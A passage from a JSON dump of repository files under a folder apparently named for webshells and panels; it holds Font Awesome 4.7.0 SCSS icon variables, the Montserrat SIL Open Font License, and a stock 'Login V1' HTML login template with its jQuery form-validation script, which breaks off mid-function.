\"\\f292\";\n$fa-var-hdd-o: \"\\f0a0\";\n$fa-var-header: \"\\f1dc\";\n$fa-var-headphones: \"\\f025\";\n$fa-var-heart: \"\\f004\";\n$fa-var-heart-o: \"\\f08a\";\n$fa-var-heartbeat: \"\\f21e\";\n$fa-var-history: \"\\f1da\";\n$fa-var-home: \"\\f015\";\n$fa-var-hospital-o: \"\\f0f8\";\n$fa-var-hotel: \"\\f236\";\n$fa-var-hourglass: \"\\f254\";\n$fa-var-hourglass-1: \"\\f251\";\n$fa-var-hourglass-2: \"\\f252\";\n$fa-var-hourglass-3: \"\\f253\";\n$fa-var-hourglass-end: \"\\f253\";\n$fa-var-hourglass-half: \"\\f252\";\n$fa-var-hourglass-o: \"\\f250\";\n$fa-var-hourglass-start: \"\\f251\";\n$fa-var-houzz: \"\\f27c\";\n$fa-var-html5: \"\\f13b\";\n$fa-var-i-cursor: \"\\f246\";\n$fa-var-id-badge: \"\\f2c1\";\n$fa-var-id-card: \"\\f2c2\";\n$fa-var-id-card-o: \"\\f2c3\";\n$fa-var-ils: \"\\f20b\";\n$fa-var-image: \"\\f03e\";\n$fa-var-imdb: \"\\f2d8\";\n$fa-var-inbox: \"\\f01c\";\n$fa-var-indent: \"\\f03c\";\n$fa-var-industry: \"\\f275\";\n$fa-var-info: \"\\f129\";\n$fa-var-info-circle: \"\\f05a\";\n$fa-var-inr: \"\\f156\";\n$fa-var-instagram: \"\\f16d\";\n$fa-var-institution: \"\\f19c\";\n$fa-var-internet-explorer: \"\\f26b\";\n$fa-var-intersex: \"\\f224\";\n$fa-var-ioxhost: \"\\f208\";\n$fa-var-italic: \"\\f033\";\n$fa-var-joomla: \"\\f1aa\";\n$fa-var-jpy: \"\\f157\";\n$fa-var-jsfiddle: \"\\f1cc\";\n$fa-var-key: \"\\f084\";\n$fa-var-keyboard-o: \"\\f11c\";\n$fa-var-krw: \"\\f159\";\n$fa-var-language: \"\\f1ab\";\n$fa-var-laptop: \"\\f109\";\n$fa-var-lastfm: \"\\f202\";\n$fa-var-lastfm-square: \"\\f203\";\n$fa-var-leaf: \"\\f06c\";\n$fa-var-leanpub: \"\\f212\";\n$fa-var-legal: \"\\f0e3\";\n$fa-var-lemon-o: \"\\f094\";\n$fa-var-level-down: \"\\f149\";\n$fa-var-level-up: \"\\f148\";\n$fa-var-life-bouy: \"\\f1cd\";\n$fa-var-life-buoy: \"\\f1cd\";\n$fa-var-life-ring: \"\\f1cd\";\n$fa-var-life-saver: \"\\f1cd\";\n$fa-var-lightbulb-o: \"\\f0eb\";\n$fa-var-line-chart: \"\\f201\";\n$fa-var-link: \"\\f0c1\";\n$fa-var-linkedin: \"\\f0e1\";\n$fa-var-linkedin-square: \"\\f08c\";\n$fa-var-linode: \"\\f2b8\";\n$fa-var-linux: \"\\f17c\";\n$fa-var-list: \"\\f03a\";\n$fa-var-list-alt: \"\\f022\";\n$fa-var-list-ol: \"\\f0cb\";\n$fa-var-list-ul: \"\\f0ca\";\n$fa-var-location-arrow: \"\\f124\";\n$fa-var-lock: \"\\f023\";\n$fa-var-long-arrow-down: \"\\f175\";\n$fa-var-long-arrow-left: \"\\f177\";\n$fa-var-long-arrow-right: \"\\f178\";\n$fa-var-long-arrow-up: \"\\f176\";\n$fa-var-low-vision: \"\\f2a8\";\n$fa-var-magic: \"\\f0d0\";\n$fa-var-magnet: \"\\f076\";\n$fa-var-mail-forward: \"\\f064\";\n$fa-var-mail-reply: \"\\f112\";\n$fa-var-mail-reply-all: \"\\f122\";\n$fa-var-male: \"\\f183\";\n$fa-var-map: \"\\f279\";\n$fa-var-map-marker: \"\\f041\";\n$fa-var-map-o: \"\\f278\";\n$fa-var-map-pin: \"\\f276\";\n$fa-var-map-signs: \"\\f277\";\n$fa-var-mars: \"\\f222\";\n$fa-var-mars-double: \"\\f227\";\n$fa-var-mars-stroke: \"\\f229\";\n$fa-var-mars-stroke-h: \"\\f22b\";\n$fa-var-mars-stroke-v: \"\\f22a\";\n$fa-var-maxcdn: \"\\f136\";\n$fa-var-meanpath: \"\\f20c\";\n$fa-var-medium: \"\\f23a\";\n$fa-var-medkit: \"\\f0fa\";\n$fa-var-meetup: \"\\f2e0\";\n$fa-var-meh-o: \"\\f11a\";\n$fa-var-mercury: \"\\f223\";\n$fa-var-microchip: \"\\f2db\";\n$fa-var-microphone: \"\\f130\";\n$fa-var-microphone-slash: \"\\f131\";\n$fa-var-minus: \"\\f068\";\n$fa-var-minus-circle: \"\\f056\";\n$fa-var-minus-square: \"\\f146\";\n$fa-var-minus-square-o: \"\\f147\";\n$fa-var-mixcloud: \"\\f289\";\n$fa-var-mobile: \"\\f10b\";\n$fa-var-mobile-phone: \"\\f10b\";\n$fa-var-modx: \"\\f285\";\n$fa-var-money: \"\\f0d6\";\n$fa-var-moon-o: \"\\f186\";\n$fa-var-mortar-board: \"\\f19d\";\n$fa-var-motorcycle: \"\\f21c\";\n$fa-var-mouse-pointer: \"\\f245\";\n$fa-var-music: \"\\f001\";\n$fa-var-navicon: \"\\f0c9\";\n$fa-var-neuter: \"\\f22c\";\n$fa-var-newspaper-o: \"\\f1ea\";\n$fa-var-object-group: \"\\f247\";\n$fa-var-object-ungroup: \"\\f248\";\n$fa-var-odnoklassniki: \"\\f263\";\n$fa-var-odnoklassniki-square: \"\\f264\";\n$fa-var-opencart: \"\\f23d\";\n$fa-var-openid: \"\\f19b\";\n$fa-var-opera: \"\\f26a\";\n$fa-var-optin-monster: \"\\f23c\";\n$fa-var-outdent: \"\\f03b\";\n$fa-var-pagelines: \"\\f18c\";\n$fa-var-paint-brush: \"\\f1fc\";\n$fa-var-paper-plane: \"\\f1d8\";\n$fa-var-paper-plane-o: \"\\f1d9\";\n$fa-var-paperclip: \"\\f0c6\";\n$fa-var-paragraph: \"\\f1dd\";\n$fa-var-paste: \"\\f0ea\";\n$fa-var-pause: \"\\f04c\";\n$fa-var-pause-circle: \"\\f28b\";\n$fa-var-pause-circle-o: \"\\f28c\";\n$fa-var-paw: \"\\f1b0\";\n$fa-var-paypal: \"\\f1ed\";\n$fa-var-pencil: \"\\f040\";\n$fa-var-pencil-square: \"\\f14b\";\n$fa-var-pencil-square-o: \"\\f044\";\n$fa-var-percent: \"\\f295\";\n$fa-var-phone: \"\\f095\";\n$fa-var-phone-square: \"\\f098\";\n$fa-var-photo: \"\\f03e\";\n$fa-var-picture-o: \"\\f03e\";\n$fa-var-pie-chart: \"\\f200\";\n$fa-var-pied-piper: \"\\f2ae\";\n$fa-var-pied-piper-alt: \"\\f1a8\";\n$fa-var-pied-piper-pp: \"\\f1a7\";\n$fa-var-pinterest: \"\\f0d2\";\n$fa-var-pinterest-p: \"\\f231\";\n$fa-var-pinterest-square: \"\\f0d3\";\n$fa-var-plane: \"\\f072\";\n$fa-var-play: \"\\f04b\";\n$fa-var-play-circle: \"\\f144\";\n$fa-var-play-circle-o: \"\\f01d\";\n$fa-var-plug: \"\\f1e6\";\n$fa-var-plus: \"\\f067\";\n$fa-var-plus-circle: \"\\f055\";\n$fa-var-plus-square: \"\\f0fe\";\n$fa-var-plus-square-o: \"\\f196\";\n$fa-var-podcast: \"\\f2ce\";\n$fa-var-power-off: \"\\f011\";\n$fa-var-print: \"\\f02f\";\n$fa-var-product-hunt: \"\\f288\";\n$fa-var-puzzle-piece: \"\\f12e\";\n$fa-var-qq: \"\\f1d6\";\n$fa-var-qrcode: \"\\f029\";\n$fa-var-question: \"\\f128\";\n$fa-var-question-circle: \"\\f059\";\n$fa-var-question-circle-o: \"\\f29c\";\n$fa-var-quora: \"\\f2c4\";\n$fa-var-quote-left: \"\\f10d\";\n$fa-var-quote-right: \"\\f10e\";\n$fa-var-ra: \"\\f1d0\";\n$fa-var-random: \"\\f074\";\n$fa-var-ravelry: \"\\f2d9\";\n$fa-var-rebel: \"\\f1d0\";\n$fa-var-recycle: \"\\f1b8\";\n$fa-var-reddit: \"\\f1a1\";\n$fa-var-reddit-alien: \"\\f281\";\n$fa-var-reddit-square: \"\\f1a2\";\n$fa-var-refresh: \"\\f021\";\n$fa-var-registered: \"\\f25d\";\n$fa-var-remove: \"\\f00d\";\n$fa-var-renren: \"\\f18b\";\n$fa-var-reorder: \"\\f0c9\";\n$fa-var-repeat: \"\\f01e\";\n$fa-var-reply: \"\\f112\";\n$fa-var-reply-all: \"\\f122\";\n$fa-var-resistance: \"\\f1d0\";\n$fa-var-retweet: \"\\f079\";\n$fa-var-rmb: \"\\f157\";\n$fa-var-road: \"\\f018\";\n$fa-var-rocket: \"\\f135\";\n$fa-var-rotate-left: \"\\f0e2\";\n$fa-var-rotate-right: \"\\f01e\";\n$fa-var-rouble: \"\\f158\";\n$fa-var-rss: \"\\f09e\";\n$fa-var-rss-square: \"\\f143\";\n$fa-var-rub: \"\\f158\";\n$fa-var-ruble: \"\\f158\";\n$fa-var-rupee: \"\\f156\";\n$fa-var-s15: \"\\f2cd\";\n$fa-var-safari: \"\\f267\";\n$fa-var-save: \"\\f0c7\";\n$fa-var-scissors: \"\\f0c4\";\n$fa-var-scribd: \"\\f28a\";\n$fa-var-search: \"\\f002\";\n$fa-var-search-minus: \"\\f010\";\n$fa-var-search-plus: \"\\f00e\";\n$fa-var-sellsy: \"\\f213\";\n$fa-var-send: \"\\f1d8\";\n$fa-var-send-o: \"\\f1d9\";\n$fa-var-server: \"\\f233\";\n$fa-var-share: \"\\f064\";\n$fa-var-share-alt: \"\\f1e0\";\n$fa-var-share-alt-square: \"\\f1e1\";\n$fa-var-share-square: \"\\f14d\";\n$fa-var-share-square-o: \"\\f045\";\n$fa-var-shekel: \"\\f20b\";\n$fa-var-sheqel: \"\\f20b\";\n$fa-var-shield: \"\\f132\";\n$fa-var-ship: \"\\f21a\";\n$fa-var-shirtsinbulk: \"\\f214\";\n$fa-var-shopping-bag: \"\\f290\";\n$fa-var-shopping-basket: \"\\f291\";\n$fa-var-shopping-cart: \"\\f07a\";\n$fa-var-shower: \"\\f2cc\";\n$fa-var-sign-in: \"\\f090\";\n$fa-var-sign-language: \"\\f2a7\";\n$fa-var-sign-out: \"\\f08b\";\n$fa-var-signal: \"\\f012\";\n$fa-var-signing: \"\\f2a7\";\n$fa-var-simplybuilt: \"\\f215\";\n$fa-var-sitemap: \"\\f0e8\";\n$fa-var-skyatlas: \"\\f216\";\n$fa-var-skype: \"\\f17e\";\n$fa-var-slack: \"\\f198\";\n$fa-var-sliders: \"\\f1de\";\n$fa-var-slideshare: \"\\f1e7\";\n$fa-var-smile-o: \"\\f118\";\n$fa-var-snapchat: \"\\f2ab\";\n$fa-var-snapchat-ghost: \"\\f2ac\";\n$fa-var-snapchat-square: \"\\f2ad\";\n$fa-var-snowflake-o: \"\\f2dc\";\n$fa-var-soccer-ball-o: \"\\f1e3\";\n$fa-var-sort: \"\\f0dc\";\n$fa-var-sort-alpha-asc: \"\\f15d\";\n$fa-var-sort-alpha-desc: \"\\f15e\";\n$fa-var-sort-amount-asc: \"\\f160\";\n$fa-var-sort-amount-desc: \"\\f161\";\n$fa-var-sort-asc: \"\\f0de\";\n$fa-var-sort-desc: \"\\f0dd\";\n$fa-var-sort-down: \"\\f0dd\";\n$fa-var-sort-numeric-asc: \"\\f162\";\n$fa-var-sort-numeric-desc: \"\\f163\";\n$fa-var-sort-up: \"\\f0de\";\n$fa-var-soundcloud: \"\\f1be\";\n$fa-var-space-shuttle: \"\\f197\";\n$fa-var-spinner: \"\\f110\";\n$fa-var-spoon: \"\\f1b1\";\n$fa-var-spotify: \"\\f1bc\";\n$fa-var-square: \"\\f0c8\";\n$fa-var-square-o: \"\\f096\";\n$fa-var-stack-exchange: \"\\f18d\";\n$fa-var-stack-overflow: \"\\f16c\";\n$fa-var-star: \"\\f005\";\n$fa-var-star-half: \"\\f089\";\n$fa-var-star-half-empty: \"\\f123\";\n$fa-var-star-half-full: \"\\f123\";\n$fa-var-star-half-o: \"\\f123\";\n$fa-var-star-o: \"\\f006\";\n$fa-var-steam: \"\\f1b6\";\n$fa-var-steam-square: \"\\f1b7\";\n$fa-var-step-backward: \"\\f048\";\n$fa-var-step-forward: \"\\f051\";\n$fa-var-stethoscope: \"\\f0f1\";\n$fa-var-sticky-note: \"\\f249\";\n$fa-var-sticky-note-o: \"\\f24a\";\n$fa-var-stop: \"\\f04d\";\n$fa-var-stop-circle: \"\\f28d\";\n$fa-var-stop-circle-o: \"\\f28e\";\n$fa-var-street-view: \"\\f21d\";\n$fa-var-strikethrough: \"\\f0cc\";\n$fa-var-stumbleupon: \"\\f1a4\";\n$fa-var-stumbleupon-circle: \"\\f1a3\";\n$fa-var-subscript: \"\\f12c\";\n$fa-var-subway: \"\\f239\";\n$fa-var-suitcase: \"\\f0f2\";\n$fa-var-sun-o: \"\\f185\";\n$fa-var-superpowers: \"\\f2dd\";\n$fa-var-superscript: \"\\f12b\";\n$fa-var-support: \"\\f1cd\";\n$fa-var-table: \"\\f0ce\";\n$fa-var-tablet: \"\\f10a\";\n$fa-var-tachometer: \"\\f0e4\";\n$fa-var-tag: \"\\f02b\";\n$fa-var-tags: \"\\f02c\";\n$fa-var-tasks: \"\\f0ae\";\n$fa-var-taxi: \"\\f1ba\";\n$fa-var-telegram: \"\\f2c6\";\n$fa-var-television: \"\\f26c\";\n$fa-var-tencent-weibo: \"\\f1d5\";\n$fa-var-terminal: \"\\f120\";\n$fa-var-text-height: \"\\f034\";\n$fa-var-text-width: \"\\f035\";\n$fa-var-th: \"\\f00a\";\n$fa-var-th-large: \"\\f009\";\n$fa-var-th-list: \"\\f00b\";\n$fa-var-themeisle: \"\\f2b2\";\n$fa-var-thermometer: \"\\f2c7\";\n$fa-var-thermometer-0: \"\\f2cb\";\n$fa-var-thermometer-1: \"\\f2ca\";\n$fa-var-thermometer-2: \"\\f2c9\";\n$fa-var-thermometer-3: \"\\f2c8\";\n$fa-var-thermometer-4: \"\\f2c7\";\n$fa-var-thermometer-empty: \"\\f2cb\";\n$fa-var-thermometer-full: \"\\f2c7\";\n$fa-var-thermometer-half: \"\\f2c9\";\n$fa-var-thermometer-quarter: \"\\f2ca\";\n$fa-var-thermometer-three-quarters: \"\\f2c8\";\n$fa-var-thumb-tack: \"\\f08d\";\n$fa-var-thumbs-down: \"\\f165\";\n$fa-var-thumbs-o-down: \"\\f088\";\n$fa-var-thumbs-o-up: \"\\f087\";\n$fa-var-thumbs-up: \"\\f164\";\n$fa-var-ticket: \"\\f145\";\n$fa-var-times: \"\\f00d\";\n$fa-var-times-circle: \"\\f057\";\n$fa-var-times-circle-o: \"\\f05c\";\n$fa-var-times-rectangle: \"\\f2d3\";\n$fa-var-times-rectangle-o: \"\\f2d4\";\n$fa-var-tint: \"\\f043\";\n$fa-var-toggle-down: \"\\f150\";\n$fa-var-toggle-left: \"\\f191\";\n$fa-var-toggle-off: \"\\f204\";\n$fa-var-toggle-on: \"\\f205\";\n$fa-var-toggle-right: \"\\f152\";\n$fa-var-toggle-up: \"\\f151\";\n$fa-var-trademark: \"\\f25c\";\n$fa-var-train: \"\\f238\";\n$fa-var-transgender: \"\\f224\";\n$fa-var-transgender-alt: \"\\f225\";\n$fa-var-trash: \"\\f1f8\";\n$fa-var-trash-o: \"\\f014\";\n$fa-var-tree: \"\\f1bb\";\n$fa-var-trello: \"\\f181\";\n$fa-var-tripadvisor: \"\\f262\";\n$fa-var-trophy: \"\\f091\";\n$fa-var-truck: \"\\f0d1\";\n$fa-var-try: \"\\f195\";\n$fa-var-tty: \"\\f1e4\";\n$fa-var-tumblr: \"\\f173\";\n$fa-var-tumblr-square: \"\\f174\";\n$fa-var-turkish-lira: \"\\f195\";\n$fa-var-tv: \"\\f26c\";\n$fa-var-twitch: \"\\f1e8\";\n$fa-var-twitter: \"\\f099\";\n$fa-var-twitter-square: \"\\f081\";\n$fa-var-umbrella: \"\\f0e9\";\n$fa-var-underline: \"\\f0cd\";\n$fa-var-undo: \"\\f0e2\";\n$fa-var-universal-access: \"\\f29a\";\n$fa-var-university: \"\\f19c\";\n$fa-var-unlink: \"\\f127\";\n$fa-var-unlock: \"\\f09c\";\n$fa-var-unlock-alt: \"\\f13e\";\n$fa-var-unsorted: \"\\f0dc\";\n$fa-var-upload: \"\\f093\";\n$fa-var-usb: \"\\f287\";\n$fa-var-usd: \"\\f155\";\n$fa-var-user: \"\\f007\";\n$fa-var-user-circle: \"\\f2bd\";\n$fa-var-user-circle-o: \"\\f2be\";\n$fa-var-user-md: \"\\f0f0\";\n$fa-var-user-o: \"\\f2c0\";\n$fa-var-user-plus: \"\\f234\";\n$fa-var-user-secret: \"\\f21b\";\n$fa-var-user-times: \"\\f235\";\n$fa-var-users: \"\\f0c0\";\n$fa-var-vcard: \"\\f2bb\";\n$fa-var-vcard-o: \"\\f2bc\";\n$fa-var-venus: \"\\f221\";\n$fa-var-venus-double: \"\\f226\";\n$fa-var-venus-mars: \"\\f228\";\n$fa-var-viacoin: \"\\f237\";\n$fa-var-viadeo: \"\\f2a9\";\n$fa-var-viadeo-square: \"\\f2aa\";\n$fa-var-video-camera: \"\\f03d\";\n$fa-var-vimeo: \"\\f27d\";\n$fa-var-vimeo-square: \"\\f194\";\n$fa-var-vine: \"\\f1ca\";\n$fa-var-vk: \"\\f189\";\n$fa-var-volume-control-phone: \"\\f2a0\";\n$fa-var-volume-down: \"\\f027\";\n$fa-var-volume-off: \"\\f026\";\n$fa-var-volume-up: \"\\f028\";\n$fa-var-warning: \"\\f071\";\n$fa-var-wechat: \"\\f1d7\";\n$fa-var-weibo: \"\\f18a\";\n$fa-var-weixin: \"\\f1d7\";\n$fa-var-whatsapp: \"\\f232\";\n$fa-var-wheelchair: \"\\f193\";\n$fa-var-wheelchair-alt: \"\\f29b\";\n$fa-var-wifi: \"\\f1eb\";\n$fa-var-wikipedia-w: \"\\f266\";\n$fa-var-window-close: \"\\f2d3\";\n$fa-var-window-close-o: \"\\f2d4\";\n$fa-var-window-maximize: \"\\f2d0\";\n$fa-var-window-minimize: \"\\f2d1\";\n$fa-var-window-restore: \"\\f2d2\";\n$fa-var-windows: \"\\f17a\";\n$fa-var-won: \"\\f159\";\n$fa-var-wordpress: \"\\f19a\";\n$fa-var-wpbeginner: \"\\f297\";\n$fa-var-wpexplorer: \"\\f2de\";\n$fa-var-wpforms: \"\\f298\";\n$fa-var-wrench: \"\\f0ad\";\n$fa-var-xing: \"\\f168\";\n$fa-var-xing-square: \"\\f169\";\n$fa-var-y-combinator: \"\\f23b\";\n$fa-var-y-combinator-square: \"\\f1d4\";\n$fa-var-yahoo: \"\\f19e\";\n$fa-var-yc: \"\\f23b\";\n$fa-var-yc-square: \"\\f1d4\";\n$fa-var-yelp: \"\\f1e9\";\n$fa-var-yen: \"\\f157\";\n$fa-var-yoast: \"\\f2b1\";\n$fa-var-youtube: \"\\f167\";\n$fa-var-youtube-play: \"\\f16a\";\n$fa-var-youtube-square: \"\\f166\";\n\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/scss/font-awesome.scss",
    "content": "/*!\n *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n\n@import \"variables\";\n@import \"mixins\";\n@import \"path\";\n@import \"core\";\n@import \"larger\";\n@import \"fixed-width\";\n@import \"list\";\n@import \"bordered-pulled\";\n@import \"animated\";\n@import \"rotated-flipped\";\n@import \"stacked\";\n@import \"icons\";\n@import \"screen-reader\";\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/montserrat/OFL.txt",
    "content": "Copyright 2011 The Montserrat Project Authors (https://github.com/JulietaUla/Montserrat)\r\n\r\nThis Font Software is licensed under the SIL Open Font License, Version 1.1.\r\nThis license is copied below, and is also available with a FAQ at:\r\nhttp://scripts.sil.org/OFL\r\n\r\n\r\n-----------------------------------------------------------\r\nSIL OPEN FONT LICENSE Version 1.1 - 26 February 2007\r\n-----------------------------------------------------------\r\n\r\nPREAMBLE\r\nThe goals of the Open Font License (OFL) are to stimulate worldwide\r\ndevelopment of collaborative font projects, to support the font creation\r\nefforts of academic and linguistic communities, and to provide a free and\r\nopen framework in which fonts may be shared and improved in partnership\r\nwith others.\r\n\r\nThe OFL allows the licensed fonts to be used, studied, modified and\r\nredistributed freely as long as they are not sold by themselves. The\r\nfonts, including any derivative works, can be bundled, embedded, \r\nredistributed and/or sold with any software provided that any reserved\r\nnames are not used by derivative works. The fonts and derivatives,\r\nhowever, cannot be released under any other type of license. The\r\nrequirement for fonts to remain under this license does not apply\r\nto any document created using the fonts or their derivatives.\r\n\r\nDEFINITIONS\r\n\"Font Software\" refers to the set of files released by the Copyright\r\nHolder(s) under this license and clearly marked as such. This may\r\ninclude source files, build scripts and documentation.\r\n\r\n\"Reserved Font Name\" refers to any names specified as such after the\r\ncopyright statement(s).\r\n\r\n\"Original Version\" refers to the collection of Font Software components as\r\ndistributed by the Copyright Holder(s).\r\n\r\n\"Modified Version\" refers to any derivative made by adding to, deleting,\r\nor substituting -- in part or in whole -- any of the components of the\r\nOriginal Version, by changing formats or by porting the Font Software to a\r\nnew environment.\r\n\r\n\"Author\" refers to any designer, engineer, programmer, technical\r\nwriter or other person who contributed to the Font Software.\r\n\r\nPERMISSION & CONDITIONS\r\nPermission is hereby granted, free of charge, to any person obtaining\r\na copy of the Font Software, to use, study, copy, merge, embed, modify,\r\nredistribute, and sell modified and unmodified copies of the Font\r\nSoftware, subject to the following conditions:\r\n\r\n1) Neither the Font Software nor any of its individual components,\r\nin Original or Modified Versions, may be sold by itself.\r\n\r\n2) Original or Modified Versions of the Font Software may be bundled,\r\nredistributed and/or sold with any software, provided that each copy\r\ncontains the above copyright notice and this license. These can be\r\nincluded either as stand-alone text files, human-readable headers or\r\nin the appropriate machine-readable metadata fields within text or\r\nbinary files as long as those fields can be easily viewed by the user.\r\n\r\n3) No Modified Version of the Font Software may use the Reserved Font\r\nName(s) unless explicit written permission is granted by the corresponding\r\nCopyright Holder. This restriction only applies to the primary font name as\r\npresented to the users.\r\n\r\n4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font\r\nSoftware shall not be used to promote, endorse or advertise any\r\nModified Version, except to acknowledge the contribution(s) of the\r\nCopyright Holder(s) and the Author(s) or with their explicit written\r\npermission.\r\n\r\n5) The Font Software, modified or unmodified, in part or in whole,\r\nmust be distributed entirely under this license, and must not be\r\ndistributed under any other license. The requirement for fonts to\r\nremain under this license does not apply to any document created\r\nusing the Font Software.\r\n\r\nTERMINATION\r\nThis license becomes null and void if any of the above conditions are\r\nnot met.\r\n\r\nDISCLAIMER\r\nTHE FONT SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF\r\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT\r\nOF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE\r\nCOPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\nINCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL\r\nDAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\nFROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM\r\nOTHER DEALINGS IN THE FONT SOFTWARE.\r\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/index.html",
    "content": "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n\t<title>Login V1</title>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n<!--===============================================================================================-->\t\r\n\t<link rel=\"icon\" type=\"image/png\" href=\"images/icons/favicon.ico\"/>\r\n<!--===============================================================================================-->\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"vendor/bootstrap/css/bootstrap.min.css\">\r\n<!--===============================================================================================-->\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"fonts/font-awesome-4.7.0/css/font-awesome.min.css\">\r\n<!--===============================================================================================-->\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"vendor/animate/animate.css\">\r\n<!--===============================================================================================-->\t\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"vendor/css-hamburgers/hamburgers.min.css\">\r\n<!--===============================================================================================-->\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"vendor/select2/select2.min.css\">\r\n<!--===============================================================================================-->\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"css/util.css\">\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\">\r\n<!--===============================================================================================-->\r\n</head>\r\n<body>\r\n\t\r\n\t<div class=\"limiter\">\r\n\t\t<div class=\"container-login100\">\r\n\t\t\t<div class=\"wrap-login100\">\r\n\t\t\t\t<div class=\"login100-pic js-tilt\" data-tilt>\r\n\t\t\t\t\t<img src=\"images/img-01.png\" alt=\"IMG\">\r\n\t\t\t\t</div>\r\n\r\n\t\t\t\t<form class=\"login100-form validate-form\">\r\n\t\t\t\t\t<span class=\"login100-form-title\">\r\n\t\t\t\t\t\tMember Login\r\n\t\t\t\t\t</span>\r\n\r\n\t\t\t\t\t<div class=\"wrap-input100 validate-input\" data-validate = \"Valid email is required: ex@abc.xyz\">\r\n\t\t\t\t\t\t<input class=\"input100\" type=\"text\" name=\"email\" placeholder=\"Email\">\r\n\t\t\t\t\t\t<span class=\"focus-input100\"></span>\r\n\t\t\t\t\t\t<span class=\"symbol-input100\">\r\n\t\t\t\t\t\t\t<i class=\"fa fa-envelope\" aria-hidden=\"true\"></i>\r\n\t\t\t\t\t\t</span>\r\n\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t<div class=\"wrap-input100 validate-input\" data-validate = \"Password is required\">\r\n\t\t\t\t\t\t<input class=\"input100\" type=\"password\" name=\"pass\" placeholder=\"Password\">\r\n\t\t\t\t\t\t<span class=\"focus-input100\"></span>\r\n\t\t\t\t\t\t<span class=\"symbol-input100\">\r\n\t\t\t\t\t\t\t<i class=\"fa fa-lock\" aria-hidden=\"true\"></i>\r\n\t\t\t\t\t\t</span>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<div class=\"container-login100-form-btn\">\r\n\t\t\t\t\t\t<button class=\"login100-form-btn\">\r\n\t\t\t\t\t\t\tLogin\r\n\t\t\t\t\t\t</button>\r\n\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t<div class=\"text-center p-t-12\">\r\n\t\t\t\t\t\t<span class=\"txt1\">\r\n\t\t\t\t\t\t\tForgot\r\n\t\t\t\t\t\t</span>\r\n\t\t\t\t\t\t<a class=\"txt2\" href=\"#\">\r\n\t\t\t\t\t\t\tUsername / Password?\r\n\t\t\t\t\t\t</a>\r\n\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t<div class=\"text-center p-t-136\">\r\n\t\t\t\t\t\t<a class=\"txt2\" href=\"#\">\r\n\t\t\t\t\t\t\tCreate your Account\r\n\t\t\t\t\t\t\t<i class=\"fa fa-long-arrow-right m-l-5\" aria-hidden=\"true\"></i>\r\n\t\t\t\t\t\t</a>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t\r\n\t\r\n\r\n\t\r\n<!--===============================================================================================-->\t\r\n\t<script src=\"vendor/jquery/jquery-3.2.1.min.js\"></script>\r\n<!--===============================================================================================-->\r\n\t<script src=\"vendor/bootstrap/js/popper.js\"></script>\r\n\t<script src=\"vendor/bootstrap/js/bootstrap.min.js\"></script>\r\n<!--===============================================================================================-->\r\n\t<script src=\"vendor/select2/select2.min.js\"></script>\r\n<!--===============================================================================================-->\r\n\t<script src=\"vendor/tilt/tilt.jquery.min.js\"></script>\r\n\t<script >\r\n\t\t$('.js-tilt').tilt({\r\n\t\t\tscale: 1.1\r\n\t\t})\r\n\t</script>\r\n<!--===============================================================================================-->\r\n\t<script src=\"js/main.js\"></script>\r\n\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/js/main.js",
    "content": "\r\n(function ($) {\r\n    \"use strict\";\r\n\r\n    \r\n    /*==================================================================\r\n    [ Validate ]*/\r\n    var input = $('.validate-input .input100');\r\n\r\n    $('.validate-form').on('submit',function(){\r\n        var check = true;\r\n\r\n        for(var i=0; i<input.length; i++) {\r\n            if(validate(input[i]) == false){\r\n                showValidate(input[i]);\r\n                check=false;\r\n            }\r\n        }\r\n\r\n        return check;\r\n    });\r\n\r\n\r\n    $('.validate-form .input100').each(function(){\r\n        $(this).focus(function(){\r\n           hideValidate(this);\r\n        });\r\n    });\r\n\r\n    function validate (input) {\r\n        if($(input).attr('type') == 'email' || $(input).attr('name') == 'email') {\r\n            if($(input).val().trim().match(/^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{1,5}|[0-9]{1,3})(\\]?)$/) == null) {\r\n                return false;\r\n            }\r\n        }\r\n        else {\r\n            if($(input).val().trim() == ''){\r\n                return false;\r\n            }\r\n        }\r\n    }\r\n\r\n    function showValidate(input) {\r\n        var thisAlert = $(input).parent();\r\n\r\n        $(thisAlert).addClass('alert-validate');\r\n    }\r\n\r\n    function 